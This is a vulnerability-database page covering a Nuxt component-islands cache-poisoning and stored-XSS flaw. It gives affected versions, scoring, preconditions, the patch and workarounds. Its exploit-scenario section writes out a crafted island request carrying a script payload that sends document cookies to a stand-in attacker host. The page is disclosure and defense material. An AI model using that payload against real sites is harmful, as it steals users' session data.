Skip to main content

Nuxt CVE-2026-46342

| EUVDEUVD-2026-36418 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-05-19 https://github.com/nuxt/nuxt GHSA-g8wj-3cr3-6w7v
2.3
CVSS 4.0 · Vendor: https://github.com/nuxt/nuxt
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify target island component name and URL pattern
  2. Delivery
    Craft request with malicious props to /__nuxt_island/<Name>_<hashId>.json
  3. Exploit
    Server renders and returns poisoned HTML without hash validation
  4. Execution
    Path-only CDN caches poisoned response keyed on URL path
  5. Persist
    Legitimate users request same island path
  6. Impact
    Browser executes injected XSS payload in application origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

experimental.componentIslands must be enabled in nuxt.config, or the feature must be active via the default 'auto' setting with at least one *.server.vue or island component present in the application. A shared intermediary cache - CDN, reverse-proxy, or edge cache - must be configured to key /__nuxt_island/* responses on the URL path only, ignoring the query string; this is the same documented misconfiguration class referenced in GHSA-jvhm-gjrh-3h93. For the stored XSS escalation specifically, at least one application-authored island component must pass a prop into an unsafe HTML sink such as v-html, innerHTML, or a third-party renderer treating a prop as raw markup. Without the path-only cache intermediary, each request is independently served its own rendered response and cache poisoning cannot occur. Without the unsafe HTML sink, the worst achievable outcome is inert HTML content substitution rather than script execution. Authentication requirements cannot be confirmed from available data as no CVSS vector is provided; island endpoints are publicly served by design, suggesting the attack is plausibly unauthenticated, but this is inferred from description rather than confirmed by a formal CVSS PR:N designation.

Impact

No CVSS vector is provided for this CVE, precluding formal scoring of attack vector, complexity, or privilege requirements. The vulnerability is not listed in CISA KEV, and no public exploit code has been identified at time of analysis, so this is not a confirmed actively-exploited issue at time of writing. Real-world risk is highly conditional: three concurrent preconditions must be met - Component Islands enabled, a path-only caching intermediary deployed in front of the application, and an island component with props flowing to an unsafe HTML sink - and none of these is universally true. For applications not behind a shared cache, or whose islands do not use v-html/innerHTML, exploitability is nil or limited to inert content substitution. For applications meeting all three conditions, the impact is material: stored XSS at the application's full origin, accessible to any user requesting the poisoned island path until the cache entry expires. The absence of a CVSS vector means authentication requirements cannot be formally confirmed; they are inferred from description as likely unauthenticated since island endpoints are publicly served. Defenders should prioritize assessment of their caching configuration and island HTML sink usage rather than treating this as universally critical.

Exploit ScenarioDerived

An attacker identifies a publicly accessible Nuxt application whose CDN caches /__nuxt_island/* by path only and contains an island component (e.g., NewsWidget) that renders a content prop via v-html. The attacker sends a crafted GET request to /__nuxt_island/NewsWidget_<validHashId>.json?props={"content":"<script>document.location='https://attacker.example/?c='+document.cookie</script>"} using the island's known URL structure; since the server does not validate the hash against the submitted props, the response is rendered and cached. Subsequent legitimate users requesting the same island path receive the attacker's poisoned response, executing the injected script in the application's origin and exfiltrating non-HttpOnly cookies. No public exploit code has been identified at time of analysis, but the attack requires only knowledge of an island component name and a path-only caching intermediary.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Cache poisoning via the /__nuxt_island/* endpoint in Nuxt allows an attacker to prime a shared CDN or reverse-proxy cache with attacker-controlled rendered HTML, causing subsequent users requesting the same island path to receive the poisoned response. Affected are nuxt 3.1.0-3.21.5 and 4.0.0-alpha.1-4.4.5, as well as @nuxt/nitro-server 3.20.0-3.21.5 and 4.2.0-4.4.5. When any island component passes a prop into an unsafe HTML sink (v-html, innerHTML), the cache poisoning escalates to stored XSS persisting in the application's origin until cache expiry, exposing non-HttpOnly cookies, in-origin requests, and DOM state. No public exploit identified at time of analysis.

RemediationAI

Vendor-released patch: upgrade to nuxt@3.21.6 (3.x branch) or nuxt@4.4.6 (4.x branch) and the corresponding @nuxt/nitro-server versions, as shipped via PR #35077 (https://github.com/nuxt/nuxt/pull/35077). For users unable to upgrade immediately, configure any CDN, reverse-proxy, or edge cache to key /__nuxt_island/* responses on the full query string rather than the path alone; this prevents cache poisoning regardless of the server-side hash validation gap, though it may reduce cache hit rates for legitimate shared renders. As an independent hardening measure, audit all application-authored island components for props flowing into v-html, innerHTML, or third-party HTML-rendering sinks, and sanitize or remove such patterns - this eliminates the XSS escalation path even when the caching precondition exists, limiting the worst case to inert content substitution. The vendor advisory notes that route middleware does not run for island components; gating sensitive island data must be enforced within the island's own data layer (server-only routes, useRequestEvent with manual session checks), independent of this fix.

Affected VersionsENISA

nuxt 4.0.0-alpha.1, < 4.4.6
nuxt 3.1.0, < 3.21.6

Affected Packages

npm @nuxt/nitro-server fix: 3.21.6, 4.4.6
npm nuxt fix: 3.21.6, 4.4.6
euvd nuxt_4_0_0_alpha_1 fix: 4.4.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nuxt's Component Islands feature renders server-side components via /__nuxt_island/<Name>_<hashId>.json, where <hashId> is computed client-side by <NuxtIsland> using the ohash library over the tuple (name, props, context, source). Prior to the fix, the server-side island handler in @nuxt/nitro-server accepted the hashId from the URL but never recomputed or validated it against the actual props submitted in the query string or request body. This broke the assumed binding between the cache key (URL path containing the hash) and the rendered content's inputs. The root cause maps to CWE-79 (Improper Neutralization of Input During Web Page Generation): attacker-supplied prop values reach HTML output without the URL-level integrity check that was assumed to gate access. The fix in PR #35077 introduces a shared island-hash.ts module used by both <NuxtIsland> (client) and the island handler (server); the handler now calls computeIslandHash(name, filteredProps, clientContext, undefined) and rejects any request whose URL-resident hashId does not match with HTTP 400, making the response a pure function of the request path.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nuxt/nuxt) PRIMARY 2.3 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/nuxt/nuxt) · only source for this CVE.

CVSS VectorVendor: https://github.com/nuxt/nuxt

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 12, 2026 - 14:22 NVD
2.3 (LOW)

DescriptionCVE.org

Summary

The /__nuxt_island/* endpoint accepts attacker-controlled props query/body parameters and renders any island component without verifying that the URL-resident hash (<Name>_<hashId>.json) was actually issued for those inputs by <NuxtIsland>. The hash is computed and embedded client-side but never validated server-side, so the same path can return materially different responses depending on the query.

Island components are documented as rendering independently of route context - page middleware does not apply to them, and they are intentionally cacheable as a function of their props. This advisory does not treat that contract as a vulnerability. It treats the absence of a binding between the URL the cache keys on and the response served at that URL as one.

Impact

In applications where a CDN or reverse-proxy in front of the app caches /__nuxt_island/* keyed by path only (ignoring query) - a documented misconfiguration class, see GHSA-jvhm-gjrh-3h93 - an attacker can prime the cache for a path with their own choice of props, and subsequent users requesting the same path receive the attacker's rendered HTML rather than the response intended for them. The cache entry persists until normal expiry.

Where the affected island has any prop flowing into an unsafe HTML sink in application code (v-html, innerHTML, a third-party renderer treating a prop as HTML), this becomes stored XSS in the embedding page's origin until the cache entry expires. HttpOnly cookies remain out of reach but anything else in the origin (other cookies, in-origin requests, DOM state) is reachable by the injected script.

Preconditions:

  • experimental.componentIslands enabled (or the default 'auto' with at least one server / island component in the app).
  • A shared intermediary cache (CDN, reverse-proxy, edge cache) keyed on path only.
  • For the XSS pivot specifically: an application-authored island that puts a prop through an unsafe HTML sink.

Without the second precondition, the response shape is per-request and unaffected. Without the third, the worst case is content-swap / inert HTML injection rather than script execution.

Patches

Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35077. The island handler now recomputes the expected hashId from (name, props, context) using the same ohash function <NuxtIsland> already uses to embed the hash in the URL, and rejects requests (HTTP 400) whose URL-resident hash does not match. The response is now a pure function of the request path: a path-keyed shared cache returns the correct response to every requester for that path, and an attacker cannot synthesise a path whose hash matches arbitrary props.

Workarounds

For users unable to upgrade immediately:

  • Ensure any intermediary cache keys /__nuxt_island/* on the full query string, not on the path alone. This is the recommended configuration regardless.
  • Audit application-authored islands for props flowing into v-html / innerHTML / similar HTML sinks; treat island props as untrusted user input.

Note on island authentication

> [!IMPORTANT] > It's important to remember that route middleware does not run when rendering island components, and islands cannot rely on routing-layer auth. Applications gating sensitive data behind page middleware should enforce that auth inside the island's own data layer (server-only routes, useRequestEvent + manual session checks, etc.) rather than relying on the embedding page's middleware - this was true before this advisory and remains true after it.

A separate advisory addresses *.server.vue *pages* registered as page_<routeName> islands, where the documented "middleware doesn't run for islands" contract collides with the page's own definePageMeta({ middleware }) declaration in a way that constitutes a genuine bug rather than documented behaviour.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on @nuxt/nitro-server (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.20.0.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy